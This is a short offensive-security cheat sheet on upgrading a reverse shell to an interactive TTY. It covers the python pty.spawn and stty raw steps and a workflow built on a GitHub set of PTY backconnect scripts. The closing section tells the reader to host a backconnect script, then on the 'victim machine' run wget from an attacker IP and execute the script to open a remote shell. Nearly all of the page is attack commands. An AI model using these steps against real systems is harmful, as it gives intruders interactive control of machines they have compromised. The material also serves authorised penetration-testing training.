Interactive TTY Shell

Using Python

# In reverse shell 
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Attacker console
stty -a
stty raw -echo
fg

# In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>  

Using Python Script from GitHub

Link: https://github.com/infodox/python-pty-shells

# Getting the scripts
cd /opt
git clone https://github.com/infodox/python-pty-shells

# The scripts are:
 sctp_pty_backconnect.py
 sctp_pty_bind.py
 sctp_pty_shell_handler.py
 tcp_pty_backconnect.py
 tcp_pty_bind.py
 tcp_pty_shell_handler.py
 udp_pty_backconnect.py
 udp_pty_bind.py

# On the attacker machine
YOU MUST EDIT the tcp_pty_backconnect.py with your attacker IP and PORT for the revserse shell!  
Then copy the script to the victim box:
python3 -m http.server

# And start the listenner:
python  tcp_pty_shell_handler.py -b ip:port

# On the victim machine
wget http://attacker-ip:8000/tcp_pty_backconnect.py
python tcp_pty_backconnect.py

Last updated